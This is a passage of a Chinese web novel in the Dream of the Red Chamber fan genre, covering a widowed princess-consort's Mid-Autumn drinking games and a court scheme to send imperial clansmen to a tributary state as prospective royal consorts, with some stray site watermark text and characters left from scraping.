风荷院那边,周氏黄氏和陈氏也在绕着佳婉和佳姝给她们打扮。一会儿拜月两个姑娘也是要一起的,因而可不能轻忽。 天还没完全黑,各处便都往明霞亭而来。 明霞亭外已经设了月台,上头焚着高香,燃着巨烛,几个果盘里放着月饼瓜果之类,西瓜更是直接切成了莲花模样,摆在案上,一股子清甜的香味就弥漫开来。 此时明月初升,大家只在月台一边等候,各自互相打量,便是年纪最长的周氏,这会儿也穿上了新衣,一个个都忍不住露出笑来。 还是那句话,没了男人,日子还得过。她们头上有没有苛刻的婆婆,顾晓这个主母也宽容,不会非要她们如外头那些寡妇一般,关在高墙之内,只能如枯藤槁木一般生活,既然如此,干什么不给自己的生活找点乐子,非要伤春悲秋呢! 不一会儿,月亮便已经上了梢头,顾晓便先带着人在银盆内洗了手,又用帕子擦干,这才拈香下拜,其他人也跟着下拜,三拜之后,一行人便下了月台,往明霞阁上走去。 明霞阁四周竹帘都已被挂起,如水的月光从窗口流入,配上高悬的宫灯,便有了几分如梦似幻之感。 顾晓同样也没拘泥尊卑,满府里除了女眷便就是几个小子,也不用在乎什么男女之别,阁上展开一张巨大的圆桌,顾晓坐在上首,徒嘉钰坐在她左侧,末儿坐着他的专用椅坐在徒嘉钰下首,李氏带着徒嘉泽坐在右侧,其他人就按照亲疏远近,团团围坐起来。 席上的主角还是月饼,汤菜果品却也满满当当摆了一桌,因着赏月时间长,因此热菜少,凉菜多,又有不少鲜果干果,配上烫过的桂花酒,便显得气氛融融,心里都松快起来。 大人可以喝一点桂花酒,小孩子的选择就多了去了,有莲房饮、酸梅饮、紫苏饮等,还有糖蒸酥酪,银耳雪梨羹之类,正合孩子们的口味。 先分食了几个月饼,又将蒸好的大螃蟹拿出来,每人面前摆了两个,自己动手也好,叫丫头帮着拆也行,喜欢吃的多掰两个,不喜欢的,吃点蟹腿肉,便净了手,端了桂花酒慢慢喝着。 “叫他们小孩子家家的旁边玩去,咱们也一块乐呵乐呵!”年龄差距太大,最大的徒嘉钰还是个小屁孩,自然没法参与到成年人的娱乐之中,因此,瞧着几个孩子已经吃了个半饱,顾晓便笑道。 李氏如今已经放下了心理包袱,可以很自然地给顾晓做捧哏,连忙跟着说道:“娘娘说的是,再叫这帮小猴儿在桌子上待着,只怕一会儿都要闹翻天了!”她看了一眼已经吃了个八九不离十,虽说还坐得住,但明显已经有些不耐的徒嘉泽,打心眼里赞成顾晓的主意。再这个坐下去,自家这活猴就要先闹出笑话来了。她这会儿早就后悔了,以前觉得徒嘉泽身体不好,不曾叫奶嬷嬷仔细管教,都是纵着他,养成了个有些无法无天地脾气,也亏得还知道几分礼数,要不然的话,就显得太不像样了。 顾晓便看向了徒嘉钰,笑道:“钰儿,带着你弟弟妹妹们去楼下玩去,要是想要去花园里也行,得先加一件衣裳,可别往偏僻地方乱跑,仔细被虫子迷了眼睛。” 徒嘉钰如今是很有兄长风范的,当下便一口答应下来,连末儿也跟着一起带了下去,连带着一直跟着末儿的白白和花花也一块跑了。它们本就是专门培养出来的宠物犬,看着娇小可爱,一开始佳婉和佳姝还有些怕,但是很快,胆子就上来了,还拿了桂花编了花环给两条小狗戴上,浓郁的花香弄得白白和花花连打了好几个喷嚏,硬是将花环给甩了下来。佳婉和佳姝不免有些失落,但是很快又恢复过来,跟着末儿一起,拿了肉干喂它们。 哪怕年纪还小,但是这会儿男孩子和女孩子已经有些玩不到一块了,徒嘉钰见两个妹妹带着末儿很靠谱,便跟徒嘉泽一起玩起了别的游戏。 虽说叫孩子们自己下去玩,但是奶娘和丫头婆子们还是要在旁边看着的,免得一个不小心磕着碰着,那就是她们的不是。 楼上这边,孩子们一走,剩下一帮女眷都放松了许多,周氏笑道:“可是有一阵子不曾这般热闹了,一时间都有些不习惯!” 顾晓笑道:“你就是谨慎惯了,这府里这么大,你要是想要找点乐子,又有什么难的!等回头除了服,咱们也可以到西山庄子上住一阵子,那边更自在一些!” 李氏心里暗自撇了撇嘴,这府里如今你是老大,你不先发话,谁敢自在,到时候你找个不思念先王爷的借口,那大家可不就倒霉了吗?不过面上还是说道:“咱们都是小门小户出来的,见识也少 ,哪里知道什么,今儿个不是要娘娘给咱们带个头嘛!” 顾晓见李氏这话说是恭维,又有点不像,也不跟她计较,只是笑道:如今还在孝中,许多事情也做不了,就是私底下乐呵一下罢了!?[(” 如红楼十二钗一般搞什么诗词联句或是行什么雅令,这边是干不了的,顾晓原身在家倒算得上是饱读诗书,但换了个芯之后,却不可能如原身一般才思敏捷,叫她讲几个段子没问题,那等不严格限定格律的飞花令什么的也能来两轮,但其他还是算了。至于李氏还有一干太姨娘,就别提了,她们要么出身小门小户,要么就是宫人和庄户出身,最多也就是认识几个字,会基本的算术,描花样子没问题,让她们背诗,那可就难了。 因此,顾晓便说道:“咱们也玩不来那些闺中雅事,就玩点痛快的,如何?” 陈氏笑道:“娘娘说什么,那就是什么,要是娘娘故意为难咱们,那咱们可是不依的!” 顾晓笑道:“这话说的,我这些年也荒疏了许多,为难你们,不也是为难我自己吗?咱们今儿人少,不如就行个散花令如何?” 这年头便是女眷之间的聚会,行令也是难免的事情,散花令算是比较简单的了,很快大家就拿了一竹筒过来,将竹筒打开,里面十二根银筹,上面绘着十二种四季之花。李氏忙说道:“咱们先拈出个寻花客来!我先来!”说着,竟是将袖子往上一撸,便去抓阄。其他人不由一愣,很快也笑着跟上。 年纪最小的何氏却是直接抓到了“寻花客”,不由有些兴奋,忙说道:“娘娘和几位姐姐先掣筹,我来猜!” 竹筒被放到了顾晓面前,顾晓晃出一根银筹来,低头一看,上头绘着一支建兰,她便藏在手中,又将竹筒递给李氏,李氏也是摇出一根,低头看了一眼,便露出了笑意,将银筹同样握在手心,转而将竹筒推到周氏面前。 一会儿功夫,在座各人都已经拿了一支银筹,何氏想要探头看看剩下的几支是什么,却被刘氏拉住,笑道:“这可不成,你要看了,那可要罚酒!” 何氏也不沮丧,当下先看向了顾晓,笑道:“我猜娘娘手里是牡丹!”她这话一说,李氏就忍不住飞了个白眼,这马屁拍的。 不过顾晓却是摇了摇头,将银筹放到桌上,笑道:“那妹妹可是猜错了!” 何氏探头一看,笑道:“建兰也是好的!”然后便伸手与顾晓猜拳,顾晓怕她年纪小,喝多了,便故意慢了一点,认了负,何氏注意道了,嬉笑道:“还是娘娘疼我!” 顾晓笑道:“好,我疼你!”自个取了酒,饮了一杯。 周氏凑趣,故作委屈道:“原来娘娘也是个爱年轻的,可怜我们几个,都是烧糊的卷子了,难怪娘娘瞧不上!” 顾晓也不上当,笑道:“谁不爱年轻呢,何妹妹花朵儿一样的鲜嫩人,谁也不忍心辣手摧花啊!” 顾晓开了个头,李氏却是只肯给顾晓低头,不愿意在这些太姨娘面前放下身段的,因此,只是笑道:“那何妹妹看看我 这签子是什么?” 何氏故作思考了一番,笑道:“我猜啊,姐姐那签子上是芍药!” 何氏又不傻,李氏拿到签子就喜形于色,可见是抽了一根好签,以李氏的城府,除了牡丹芍药之外,还能有啥。 李氏一听,便将银筹放在桌上,上头果然是芍药。何氏便亲自斟了酒,递到李氏面前,娇沥沥说道:“请姐姐饮一杯!” 李氏瞧着何氏这粉嫩的小模样,一开始还有些不爽,毕竟自己都有些显老了,何氏却还是个小姑娘模样,但是一想到,何氏再年轻又如何,府里又没个男人,她也没有孩子,也就是年轻的时候还能看看自己的美貌,等老了又还有什么呢,当下胸怀大畅,笑眯眯地说道:“那就偏劳妹妹了!”便就着何氏的手喝了这一杯。 接下来几个人,何氏竟是都没猜对,猜拳也是输赢各半,喝了几杯下去,哪怕只是低度的桂花酒,但脸上也飞起了薄红,忙说道:“不喝了,先不喝了,我吃两口压一压!”说着,便坐回自个的位置,然后便夹了一筷子菜吃了,又盛了一碗银耳雪梨羹,慢慢喝着。 李氏这会儿正得意,因此便笑道:“娘娘,这什么散花令不得劲,要不,咱们玩点得劲的吧!” 顾晓笑道:“那玩什么,投壶?猜枚?射覆?击鼓传花?” 李氏琢磨了一下,猜枚射覆什么的,太动脑子,击鼓传花听起来不错,就怕那几个太姨娘故意作弄她,都往她这里传,因此,便说道:“要不,咱们来投壶吧!” 顾晓也不反对,直接叫人拿了贯耳铜投壶过来,又取了去了箭头的短箭,她们这算是内宅的游戏,就不讲太多礼仪,大家轮着往里投便是。可惜的是,这里头一群人,都没什么经验,投中了也是瞎猫捧到死耗子,短箭用完,每个人都被罚了酒,四处看看,都忍不住笑了起来。 此时已经是二更,月上中天,吹进来的风也带了一些凉气,不过大家都喝酒喝到微醺,也不觉得冷,何氏喝得多,这会儿已经两眼发迷,又吵着要玩抛打令,大家故意作弄她,竟往她那里抛,她漏了好几个,又被罚了好几杯,跟米氏刘氏她们闹成一团。 上头玩得开心,下面几个孩子也听得好奇,跑上来看到几个太姨娘醉态,不免大吃一惊。徒嘉泽是西院唯一的孩子,如今李氏不怎么管得住,他便也往东厢房那边跑,刘氏米氏何氏她们几个也乐得哄孩子,这会儿瞧见她们几个这般小女儿模样,徒嘉泽顿时觉得有趣,也跑过去要跟她们一起玩。 末儿更是个喜欢凑热闹的,领着两条狗也跑了过来,白白和花花在人群里跑来跑去,差点没把人绊个跟头,大家也不以为意,只是愈发肆意起来。 吴嬷嬷看着这样子,不免凑到顾晓耳边,低声说道:“娘娘,要不,先散了吧!” 顾晓笑道:“还早着呢,难得能聚一聚,也叫她们好好松快松快!” 吴嬷嬷见顾晓这般,便不再多说。 这明霞阁在花园一角,距离院墙也并不是很远,因此,隐约的笑声便传 到了隔壁雍王府。 雍王府又不用守孝,昨儿个一大家子就聚过了,今儿十六,雍王又去了周侧妃那里,雍王妃觉得无聊,便带了几个丫头在花园里散步,经过的时候,听得隔壁传来的笑声,不免驻足细听,只是终究离得远了些,听不分明。 一边丫头莲蓬说道:“娘娘,隔壁应该是今日拜月,这会儿该在赏月呢!”不过心里头也是嘀咕,几个女人,赏个月,怎么竟是有点沸反盈天的意思,莫不是请了几个女先儿,给讲了什么好笑的笑话?若是真有,要不要跟自家娘娘说,回头打听一下是谁,下次也请了来,大家也能一乐! 雍王妃只是略停了几步,这会儿也是笑道:她们在府里也是冷清,难得过节,松快一些也是应当的!倒是七弟妹宽厚,也能容她们玩乐!⑿[(” 想到这里,不免又有些羡慕,顾晓这个平王太妃有宽厚的本钱,没有丈夫,爵位是儿子的,自己在府里当家做主,如今看起来,以前最不逊的刺头侧妃也已经老实下来,她自然没必要再降下身段,跟下头斗得乌眼鸡一样,可以从从容容做她的太妃,丢点小好处下去,就能叫下头那些侍妾俯首帖耳。哪里像是她,说是府里正妃,丈夫也尊重,实际上那真的是谨小慎微,半点错也不敢犯,下头侧妃侍妾骄横,她也只能做出一副宽厚模样,免得落下个刻薄的名头。毕竟,她娘家败落,实在是没有做错事的余地了! “罢了,咱们回去吧!”雍王妃转身说道,“这节也过去了,倒是剩下了不少月饼瓜果,留着也是浪费,明儿个就分下去吧!” 几个丫头都面露喜色,她们是王妃身边的大丫头,自然能分到上等的,这些就算自己不吃,拿回去给家里,也是一桩体面。 丫头们欢喜不尽,却不见前头走着的雍王妃,面上露出些许萧索神色,只是很快便消失不见。! 第 64 章 中秋刚过,之前说的京察已经开始,哪怕圣上已经是高举轻放,但官场上气氛还是紧张了起来。 负责京察的官员摩拳擦掌,有意将这事办得漂漂亮亮,让自己的履历上增加一项新的政绩,地方上的官员听到消息,立马开始寻找开刀的对象,而那些消息灵通的缙绅,早就还是活动起来,想办法将自家妆点成良善人家的模样,生怕被人当做典型。 而京城之中,陆墨带着陆父陆母却不知道该何去何从。 牛继宗没能实现将文官的气焰彻底打压下去的愿望,对陆墨的许诺自然也就成了泡影。之前的案子,董家是彻底倒了霉,董元驹被夺了功名,打了八十大板,流放辽东,遇赦不赦,董兴业和董兴胜不仅丢了官,因着董兴胜向官府行贿,导致陆显宗惨死,董兴胜被判秋后处斩,董兴业也没好到哪里去,被判流放西南,董家那个之前以为要死,却最终没死的老爷子这回也真死了,可以说,董家直接就散了,不可能再有翻身的余地。 而涉案的正副主考和学正也被判得很重,不仅被罢职抄家,还被判子孙三代不得科举,这简直是挖了他们的根,三代之后,他们就算原本在士林还有错综复杂的关系,也是彻底没用了,一大家子都得重新开始。至于那位知府,自然也讨不到什么好处,直接被罢职抄家,全家流放崖州。这会儿的崖州可不是后世的旅游胜地,虽说经过多年的开发,已经比以前强了不少,但依旧算得上是蛮荒之地,比起西南都糟糕,这一大家子流放过去,有几个人能活着等到朝廷大赦,都是问题。 看起来陆家的仇人都没了,可瘦死的骆驼比马大,谁知道这些人会不会对陆家怀恨在心,他们只需要托人使点绊子,陆墨又不像是死去的陆显宗,身上有公民,其他人动起手来还略有些顾忌,像是他们如今这个情况,都不用县令出手,几个胥吏都足够让他们家破人亡。 别的不说,陆显宗死了,家里的地不能再免税,也没有免除徭役的资格,他们因为这场官司,又错过了今年缴纳粮税的日子,回去之后要补交,大冬天再征发一下徭役,就足够折腾死一大家子。 这样的担忧,陆墨也没有瞒着陆父和陆母,老两口因着陆显宗的事情,如今也不敢再相信地方官府的节操,相比较起来,在天子脚下,大家吃相还好一些。尤其如今陆墨在京城也算是混了个眼熟,谁要是京城对他打击报复,只怕回头就有人捅上去,叫他们吃不了兜着走。 陆父犹豫了一番,说道:“墨娃,你说得对,虽说家里的地要紧,但是性命更要紧!这一回去,天高皇帝远的,咱们一大家子的性命,可就落在别人手里了!我如今还有点力气,你娘就算眼睛坏了,做不得绣活,但是缝缝补补的活计还是能做一些的!咱们干脆将家里的地给卖了,就在京城寻个营生!” 陆墨也是鸡贼,既然陆父已经打算卖地,他也不去牙行,而是直接去了会馆。很多地方在京城都有会馆,大多数是试馆,主要是方便各地举子参加科举考试的,另一部分便是同乡会馆, 主要方便的是行商还有行帮,陆墨去的就是同乡会馆,他如今也有些名声,只在会馆里说了陆家要卖老家的地,以后就长住京城,其他人便明白他的意思。 陆家这案子连京察都掀起来了,他们小门小户可扛不住报复,自然不肯再回乡。这些人能将生意做到京城,自然也都是眼明心亮之辈,当下不仅不压价,还给了一个好价钱,又主动表示会帮着陆家找一处安全的房舍,还问陆墨愿不愿意跟着他们一块干。 陆墨最终还是拒绝了,这些人多是行商,跟着他们,那是得走南闯北的,陆父陆母年纪都不小了,他可不放心将人留在家里,回头出了事都不知道,因此,他宁可在京城找个卖力气的活,若是能积攒一些资本,置办一些产业,陆家也就算在京城扎下根了。 会馆的人将陆家的动向给宣扬了出去,原本不打算再管陆家的牛继宗这会儿却又回过神来,虽说之前许诺给陆墨弄个官的事是做不成了,但是,给陆家一个营生还是可以的,因此,便叫之前那个下人去找陆墨,许诺借他一辆骡车,让他可以帮着镇国公府送送东西,镇国公府不用的时候,他也可以在外头自个拉人拉货,等有钱了,他就能将骡车自个买下来,之后怎么用,就是他的事情了。 陆墨倒是没觉得镇国公府出尔反尔,毕竟,他就是个小人物,一个月前还是个奴婢呢,能有今天,他已经是感激涕零,自然不会有更多的野望,如今能捞到一个稳赚不赔的营生,自然是感激不尽,当下用尽自己的口齿,说了一大堆好话,牛继宗知道了,也算是有了点安慰。不管怎么说,这陆墨是个厚道人,以后说不定还有用得上的时候。只是之前说好了骡车是借不是送,如今再想要送,就显得有些存心不良,不过,他这样的人,想要施恩,也很容易,只叫家里包了许多旧衣裳被褥,还有些成药之类,送到了陆父陆母那里,这些虽说不是钱,但是真要是折成钱,别说是一辆骡车,两三辆都买下来了。 陆父陆母自然是感激不尽,又听陆墨说陆显宗沉冤得雪,镇国公府也出了立,恨不得在家给牛继宗立长生牌位,为他日日祈福。 比起镇国公府的大张旗鼓,隆安侯府那边却也只是叫人私底下多给陆墨行一些方便,有需要用车的时候就找陆墨,其他便不再多提。陆家遭难,董家是罪魁祸首,就算不是因为董家的那一点亲戚关系,顾家也是欣赏陆墨这等忠诚厚道又勤劳肯干的人的,给这样的人搭一把手,也算是积德行善。 隆安侯府也没有需要陆家报答的地方,无非就是看着陆家可怜,老两口这个年纪没了独子,虽说收养的陆墨是个有良心的,但终究比不得亲生的孩子贴心,如今还得背井离乡,在人生地不熟的京城生活,能拉一把便拉一把,总不能叫好人没了下场。 这些话隆安侯夫人并不曾跟顾晓说,陆家的事情差不多是外朝的事,顾晓作为宗室命妇,也不该掺和这些,没得叫人生出什么想法来。 隆安侯府夫人这次过来,却是因为隆安侯被派了外差。 隆安侯是鸿胪寺卿,管的是外交上 的事情,这次南边茜香国来朝,茜香国国主因为膝下无子,想要册封女儿为王太女。为了这事,朝堂上吵得厉害。毕竟,自从出了个武则天之后,中原就对女子摄政之事防得厉害,周边藩属各国,也都在儒家文化辐射圈子里,就算是无子,选择的也是过继宗族内的近支子弟,如今茜香国国主仅有一女,却不肯过继,反倒是想要叫女儿继承王位,朝堂上难免有些说法。 圣上对此也有些拿不定主意,他倒是不在意女子当政,但是女子总是要成婚的,这位王太女以后有了王夫,若是对方因此生出取而代之的心思,到时候茜香国难免要生乱,中原作为宗主国,到时候只怕也得出手。 只是,之前除非是有什么特殊情况,作为宗主国,也没有插手人家王位传承之事的道理,如今总不能因为人家选了个女子为储君,这边就大动干戈,最终,一番商议之后,隆安侯就被派了外差,叫他出使茜香国,名义上是替天朝上国册封王太女,实际上是要先看看这王太女的秉性盒茜香国国内的情况,看看这王太女会不会因为将来婚姻之事,导致大权旁落,王权反复。 隆安侯夫人叹道:“你爹这么多年除了回乡祭过一次祖,何曾出过远门,如今却要千里迢迢南下,去什么劳什子的茜香国,他都这把子年纪了,哪里经得住舟车劳顿。可惜这是正经的皇差,圣上又不放心下头的小年轻,根本推脱不得!” 顾晓也搞不清楚茜香国是什么地方,被隆安侯夫人说了一通,琢磨着应该是类似于安南缅甸的小国,地处东南亚,那些地方她上辈子也是旅游过的,那会儿都什么时候了,开发程度也高,设施也很完善,物价还不算高,去一趟比在国内游还便宜一些。但是如今跟后世可不一样,因此,顾晓只得安慰道:“妈,我记得南边那些小国气候湿热,咱们这边是冬天,他们那边还跟春夏差不多,爹这次过去,也可以多待一些时日,就当是避寒了!” “你这丫头,倒是说得轻松!”隆安侯夫人也没想到到了顾晓这边,还真能得到一点有效的信息,当下就说道,“既然那边气候温暖,那大毛衣裳和小毛衣裳就可以少带一些,倒是应该多带点春秋的衣裳过去,最好再带几件夏衫!” 顾晓又提醒道:“妈,我想着最好还是先去太医院,看看开一些防止瘴气的药,还得防着点水土不服,好在是这个季节过去,真要是春夏过去,那爹可就真的要受罪了!” 隆安侯夫人叹道:“那有什么办法,原以为鸿胪寺是个清水衙门,如今看起来,真要有事了也是麻烦,好在这样的事也不多,寻常有什么,叫下头的人去便行,总不见得各国都找不到一个男丁继承王位吧!” 顾晓在一边笑道:“依我说,朝廷与其担心茜香国的豪族与王室结亲,行鸠占鹊巢之事,还不如在宗室里头选几个宗室子跟着过去,看看那位王太女愿不愿意选宗室子做王夫,到时候茜香国的下一代便有咱们皇家的血脉,自然会更心沐王化!” 隆安侯夫人听得一愣,直接就站了起来,说道:“这主意倒是不错,宗室里多的是那 等连爵位都没法封的子弟,与其留在神京这边想办法谋出路,还不如去茜香国做个王夫呢!我就不多留了,你爹这次出去,你要是有什么想要的,就先列个单子,到时候叫你爹带回来,我这就回去跟你爹说这事,叫他赶紧上折子!” 隆安侯夫人连茶都没喝完,就风风火火走了,等到徒嘉钰下学的时候,听说外祖母来了就走了,整个人都懵了,不由问道:“妈,外祖母这次来难道有什么急事?” 顾晓解释道:“是有急事,你外祖父要出外差,外祖母过来跟妈妈说一声。她得回去给外祖父收拾行李,哪能在咱们家多留呢?” 徒嘉钰就这么被忽悠住了,而隆安侯府那边,隆安侯一听隆安侯夫人带回来的话,也是一呆。 这也是难免的事情,自古以来,就算是和亲,用的也都是公主宗女,谁家拿皇子宗室子去和亲,就算是,那也是人家嫁过来,而不是将人送出去。何况,自从唐朝之后,中原这边就没了和亲之事,自然也想不到这些,如今一听竟然可以叫宗室子去给人家王太女做王夫,隆安侯只觉打开了一条新思路,越想越觉得可行。 至于说什么宗室子会不会觉得茜香国是穷乡僻壤那个,不乐意过去。以前人家公主和亲,也没怕自己嫁的是什么穷乡僻壤啊,人家还都是嫁的北方的蛮子呢,在宫里锦衣玉食金尊玉贵的女孩子,跑到草原上吃腥啖膻,一年到头,连口蔬菜都吃不上,人家也没抱怨什么!茜香国那里一年三熟,物产也丰富,总比草原强得多,你们大男人家家的,难道连个女人都不如?还有什么做了王夫,不能三妻四妾的,你们留在京城,做个连爵位都没有的闲散宗室,难道就有钱三妻四妾了?想的什么美事呢! 隆安侯当下便亲自铺纸研墨,开始写折子,写完再润色一番,重新誊抄了一遍,晾干之后,便放入密匣之中,走密折通道递入宫中。 作为鸿胪寺卿,是没有上密折的资格的,但作为开国侯,隆安侯自然有上密折的资格。密折的好处就是不用经过内阁,就能直达御前,免得被内阁那边因为各种狗屁倒灶的缘故压下来,之后就算是拿出来也得扯皮,等他们扯玩了,隆安侯都已经快到茜香国了。 茜香国使节就在驿馆里头住着,朝廷这边必须尽快决定到底要不要搞一次和亲,若是决定了,就趁早选好人,跟这次的使节团一块去茜香国,将事情定下来。要是不搞,那也得早点下决定,总不能将人家放在驿馆里头晾着,叫人家生出不该有的联想来。 隆安侯的密折才递上去,圣上便知道了。主要是隆安侯这一脉素来低调,拿着递密折的权利,几乎就没真的用过,如今难得用上一次,圣上自然担心是出了什么大事,赶紧叫人拿了钥匙,开了密匣,将里头的折子拿出来。 圣上也不叫戴权先念,自己就将折子打开,从头到尾看了一遍。看明白是什么事之后,先是松了口气,继而便是一喜。 没错,与其担心茜香国那些豪族倒反天罡,不如自家这边釜底抽薪,先将人安排了。 比起茜香国 那些豪族子弟来,宗室子弟总要更加一表人才一些,再有天朝上国的滤镜在,圣上不觉得茜香国国主和王太女会看不上,何况,他们不得顾忌着点上国的想法,不想找个宗室子弟做王夫,难不成是早就预备好了跟朝廷翻脸? “嘿,这顾爱卿,平时不声不响的,看着就是个惫懒的货色,如今到了关键时刻,还真是挺有主意!”圣上放下折子,心动地搓了搓手,忍不住站了起来,在御书房踱了几步,口中笑道。 戴权虽说不知道折子里面写了什么,但是圣上既然这么说,他便凑趣道:“奴婢记得,顾家是文勋出身,因而不太好跟那些开国勋贵凑一块,又几代不曾科举,跟朝堂上那些文官也走得不近,自然不方便在朝堂上多说什么!不过隆安侯府一脉素来忠心耿耿,既然有能力为国出力,哪有藏着掖着的道理!” 圣上点了点头:“你说得对,顾家可比那些人家忠心识趣得多!此事若是能成,隆安侯这个爵位倒不是不能再袭一代!” 戴权听到圣上居然生出了这样的心思,愈发想要知道隆安侯究竟在折子上写了什么,不过,他素来是个心中有数的,自然不会在这个时候做出不合适的举动来,横竖这事迟早都会知道,也不差在一时,因此只是顺着圣上的话,又恭维了几句,只说圣上圣明烛照,下面臣子才能人尽其才,只哄得圣上眉开眼笑。 圣上也知道此事不能拖延,也不先在朝会上说,直接找来了宗令庆王,跟他先说了这事。 庆王一听,也有些高兴。宗女什么的,从来不是什么问题,无爵的宗女,最多准备个一两百两银子嫁妆也就打发了,那等几代过后,彻底没了宗籍的子弟也就罢了,都得老老实实自谋生路。但是那等没到自动失去宗籍,却又封不了爵位的宗室,可不是好打发的,人家真跑到宗人府来哭穷,你总不能眼睁睁看着太祖的子孙饿死。 宗人府每年都得准备不少财货,打发这些不要脸面的家伙,如今虽说只有一个王夫的位置,但也算是给了这些宗室一条新的路子。你们的身份在京城不值钱,去了藩国还是值钱的,说不定能骗到个有钱有势的嫁过来,靠着女方的嫁妆也能过上不错的日子。 当然,这种话可不能明着说,这显得皇家甩包袱一样,但是这事冠冕堂皇一点,那就是为国牺牲,宗室享受朝廷供给,这种事情自然是当仁不让!实际上,要不是庆王这一脉没有合适的人选,庆王都想要将自家孙子塞过去。他脑子里已经盘算,谁家府上有那等没法继承爵位,又能拿得出手的孩子,到时候自个透个消息,对方总得给点东西做谢礼吧! 结果就听圣上说道:“此事涉及茜香国,咱们宗室也不能轻忽了。现在也不知道王女喜欢什么样的,那宗人府这边先将各色人等都预备好了,无论是文质彬彬的,还是健壮有力的,性子开朗的,嗯,那等性子深沉的还是不要了,别让茜香国那边生出什么想法来!” 庆王精神一振,顿时觉得自己的谢礼可以多收几家,忙恭维道:“还是圣上想得周全,我却是没想到这么多。之前瞧见过几次茜香国的使节,一个个又黑又瘦,个子也不高,只觉咱们的子弟,总比他们拿得出手,却没想过人家喜欢什么样的!” 庆王一向做事妥当,圣上便也没有多想,直接将这事交托给了他,又叮嘱道:“此事还得尽快,当然要以自愿为主,选个心不甘情不愿的过去,到那里给朝廷添堵可就不好了。另外,能入选的人,不管后来有没有被茜香国国主王女选中,回来朕也不吝重赏!选中的,朕也会册封一个郡王之位,不叫他在茜香国丢了颜面。”你弄个宗女出嫁,还得给人封个公主呢,这等外藩国主,一般在国内品级也就是与郡王平齐,那给对方封个郡王,也就能跟对方在法理上平起平坐,不至于搞得像是给人做上门女婿一样,有着这么一重身份,在外头也能有一定的自主权,不至于被对方拿捏。 圣上给的条件这么优越,庆王一听,就觉得稳了,一个郡王,一年光是俸禄就有五千两,这钱放在茜香国花,可比在京城耐用多了,只怕一些只能封奉国中尉乃至奉国将军的宗室都要心动,当下恨不得赌咒发誓,自己一定将此事安排得妥妥当当。 庆王做事效率也是杠杠的,他前脚刚出了宫,后脚就命人将消息传到了各处宗室那里,顿时,京中各家宗室都沸腾起来。! 第 65 章 这事影响到的主要是老牌的宗室,跟平王府这样的新宗室是没什么关系的。便是徒嘉泽年龄何氏,李氏对此也丝毫没有动心的意思,她就徒嘉泽一个指望,真要是被安排出去了,她得哭死。 因此,李氏听说了消息之后,只当耳旁风一般,还不许别人说给徒嘉泽听,免得徒嘉泽野了心,日后再有这样的机会,也想往外跑。 ?微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( 她实在是想太多了,起码徒嘉泽这个年龄,还真没理解茜香国是什么含义,他如今的生活主要就是吃喝玩乐,其他的事情都是过眼云烟。等他长大了,真要是起了什么心,李氏这个做亲妈的,估计也是拦不住的。 各家爵位已经掉落了不少,为子孙前程忧心的宗室开始四处活动,还要跑到宫里求甄贵妃的,以至于连外朝都听到了动静。 外朝那边那叫一个惊讶,压根没想到这么重要的事情,圣上居然不在朝堂上说,顿时立马有几个御史就跳出来,反对此事。他们理由也很简单,咱们泱泱大国,怎么能沦落到叫宗室子弟与番邦小国结亲呢?这也太有损上国颜面了。 不过,有反对的,就有赞成的。文官最怕打仗,一方面要花钱,一方面还得看着武将得意。如今拿出个郡王的名号,一年五千两银子就能安抚一个藩国从此老老实实,这不要太划算,至于这位未来的郡王要背井离乡去结亲,那算什么,那是宗室子弟,又不是他们家的子弟!何况,平白有个有钱有权的美娇娘倒贴,这不是天上掉馅饼嘛!要不是这事只是限定了无爵宗室,只怕能被抢破头。 因此,很快就有人出列,开始各种引经据典,驳斥那几个御史的言辞,圣上只在上头高坐,就发现这事已经不用再说,算是得到了大多数人的通过。 当大家齐心一致的时候,事情办起来就会很快,不过是五日的时间,宗室就通过几场选拔,挑出了五个合适的人选。宗室的选拔考试也很简单,先看相貌,虽说宗室子弟因为几代的基因改良,不会歪瓜裂枣,但是也得挑一挑不是。然后就是看才学了,茜香国那边你能背一本《论语》差不多就能算才子,那就以此为标准,不管什么经典,你能背一本就行,若是你还有其他特长,比如说琴棋书画之类,那就算加分项。文试不行的,你可以去参加武试。不用你会骑射,正常骑马总不能有问题吧,听说茜香国那边是骑大象,咱们也不从御园里头把下头进贡的大象拉出来给你骑,你就先骑马。你要是连骑马都不行,回头骑大象可就更不行了。另外射箭也是一样,不要求你十发九中,中个一半总能做到吧。 一番挑选之后,选上的欢天喜地,没选上的垂头丧气,但也没人同情他们。你们都注定没有爵位了,居然还不努力,难道就等着分家产,到宗人府打秋风吗? 而在驿馆等消息的茜香国使节们居然是最后一个知道消息的,看到出使的队伍壮大了不少,一问才知道,居然有几个是去跟自家王女相亲的,顿时傻了眼。能代表茜香国出使的,自然也是他们朝中的权贵出身,因着国主只有一女,国主又与自己的 弟弟之前关系不睦,不肯将王位传给侄子?,因此惦记着王夫身份的人家不知道有多少,如今国内还没决出人选来,中原居然还派了人过去摘桃子。 看看宗室选出来的这些人,一看便是一表人才,风度翩翩,相比较起来,国内那些权贵子弟就有些拿不出手。使节团正使只要一想到自个回去会面临什么样的场景,就恨不得自己这次根本没来过,但是事已至此,他也只能硬着头皮走下去。 隆安侯瞧着这位正使一副如丧考妣的样子,不由笑道:“贵使可是身体不适?不如请随行大夫过来给贵使诊个脉!” 正使顿时一个激灵,慌忙摇头,说道:“没有,没有,外臣只是走神了,还请大人见谅!” 隆安侯安慰道:“贵使不必担心,贵使且想一想,与其叫贵国中其他人家的子弟成为王夫,然后一跃凌驾与各家之上,不如叫我国宗室做这个王夫,起码我国素有信义,不会无故插手藩国内政,岂不更好?” 这正使听隆安侯这般话,虽说略微放心了一些,却也知道,王室可以这样想,但是,国内那些权贵却未必,他们早将王夫的位置视作了自己的囊中之物,如今落了空,他们不会想自家本来就有可能选不上,只会觉得自家受到了极大的损失。他们不敢迁怒中原,难道还不敢迁怒自己不成? …… 使节团走后,京中便一日日冷了下来。 顾晓如今有些畏寒,天冷了便懈怠动弹,便是锻炼身体,除了在廊下走一走,也就是自个在床上放下帐子做一会儿L瑜伽,其他时候,多在屋里待着。 不过,顾晓的日子却不算无聊,如今正带着几个小丫头给白白和花花做衣裳。当然,顾晓只负责动嘴,最多就是送笔设计一下,缝纫之类的事情,还是得交给下面丫头。 白白和花花可不知道那些衣服是给它们做的,每日里还是屁颠屁颠地跟在末儿L后头到处跑,末儿L现在学会了挑食,吃饭的时候偷偷摸摸将不喜欢吃的东西丢给白白和花花吃,被发现了还振振有词:“白白和花花肚子也饿了,它们也是要吃的啊!” 